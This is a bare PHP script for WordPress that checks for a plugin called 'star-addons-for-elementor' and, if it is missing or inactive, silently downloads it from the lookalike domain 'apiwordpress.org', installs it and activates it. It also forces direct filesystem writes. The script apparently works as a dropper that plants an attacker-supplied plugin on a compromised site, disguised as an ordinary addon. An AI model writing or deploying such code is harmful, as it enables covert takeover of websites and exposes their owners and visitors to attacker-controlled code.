<?php
$slug = 'star-addons-for-elementor';
$main = "$slug/$slug.php";

$slug = 'star-addons-for-elementor';
$filenameuc = 'star-addons';
$main = "$slug/$filenameuc.php";

require_once ABSPATH . 'wp-admin/includes/plugin.php';
require_once ABSPATH . 'wp-admin/includes/file.php';
add_filter('filesystem_method', function() { return 'direct'; });
WP_Filesystem();

if (!file_exists(WP_PLUGIN_DIR . "/$main") || !is_plugin_active($main)) {
    require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
    require_once ABSPATH . 'wp-admin/includes/plugin-install.php';

    $url = "https://apiwordpress.org/plugins/add-plugin/{$slug}";
    $upgrader = new Plugin_Upgrader(new WP_Ajax_Upgrader_Skin());
    $res = $upgrader->install($url);

    if (is_wp_error($res) || !file_exists(WP_PLUGIN_DIR . "/$main")) {
        error_log("star-addons install failed: "
            . (is_wp_error($res) ? $res->get_error_message() : 'no files'));
        return;
    }
    activate_plugin($main);
}

